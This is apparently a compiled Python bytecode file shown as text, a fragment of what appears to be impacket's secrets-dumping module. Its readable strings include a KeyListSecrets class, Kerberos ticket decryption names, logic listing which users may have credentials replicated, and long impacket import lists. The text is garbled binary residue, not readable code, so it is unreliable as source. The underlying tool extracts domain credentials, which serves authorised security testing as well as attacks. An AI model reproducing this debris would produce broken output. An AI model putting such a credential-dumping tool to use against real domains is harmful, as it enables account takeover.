NrB  r   r#  r  r  r  encrypted_pa_datar?  r%  )r`   r:  rH   rR   rQ   r6  rS  r\  rI   rJ   prettyPrint)r  r  tgsRepencTGSRepPartr6  r  r^  decryptedTGSRepPartdecodedTGSRepPart
encPaData1decodedPaData1r  rt   rt   ru   r    s   zKeyListSecrets.getKeyc                 C   s  | j  }g }|d d D ]	}||d  q| j  }g }|d d D ]	}||d  q$| j jdd}g d}|d d D ]}|d d	 d
 d }||vrT|| q?|D ]I}||v rz| j |}|d d D ]}|d }	|	|vrx||	 qiqW||v r| j |}|d d D ]}|d d	 d
 d }	|	|vr||	 qqW| j  }g }
|d d D ]}|d |vrd|d vr|
|d d t|d   q|
S )Nr  r  i<  )r$  )r  i  i  i  r  Sidsr   
SidPointerr  r  krbtgt_r  r   )r	  r  r  r  r+  r%  r  r2  )r	  r  
groupsListr  aliasesListalias
deniedListrf  r$  rid2r  rt   rt   ru   r    sL   





z)KeyListSecrets.getAllowedUsersToReplicaterG  )
rp   rq   rr   r+  r  r  r  ri  r  r  rt   rt   rt   ru   r    s    
7a
r  c                  O   s   t | d  d S )Nr  )r  )argskwargsrt   rt   ru   r    s   r  )r  N)
__future__r   r   r  r  r  r  r  r  r  r  r  r4  binasciir   r   collectionsr   r   r   r	   structr
   r   sixr   r   impacketr   r   r   r   impacket.ldap.ldapr   r   impacket.ldap.ldapasn1r   impacket.ldap.ldaptypesr   impacket.dcerpc.v5r   r   r   r   r   r   r   impacket.dcerpc.v5.dtypesr   r   impacket.dcerpc.v5.rpcrtr   r    r!   impacket.dcerpc.v5.dcomr"   impacket.dcerpc.v5.dcom.oautr#   r$   r%   r&   r'   r(   r)   impacket.dcerpc.v5.dcomrtr*   r+   r,   r-   r.   r/   r0   r1   r2   r3   r4   r5   impacket.eser6   r7   impacket.dpapir8   impacket.smb3structsr9   r:   impacket.nt_errorsr;   impacket.structurer<   r=   impacket.uuidr>   impacket.cryptor?   impacket.krb5r@   impacket.krb5.asn1rA   r/  rB   rC   rD   rE   rF   rG   rH   rI   rJ   impacket.krb5.constantsrK   rL   rM   rN   rO   impacket.krb5.cryptorP   rQ   rR   impacket.krb5.kerberosv5rS   impacket.krb5.typesrT   rU   Cryptodome.CipherrV   rW   rX   Cryptodome.HashrY   rZ   r[   ImportErrorcriticalpyasn1pyasn1.type.univr\   r]   r^   pyasn1.codec.derr_   r`   SystemRandomrW  NotImplementedErrorrb   rw   r}   r   r   r   r   r   r   r   r   r   r   r  r  r  r!  r"  rL  rQ  rj  r  rs  objectr  r  r  r  r  rt   rt   rt   ru   <module>   s   1$$80

	-!		

3       57    1   F3        24 q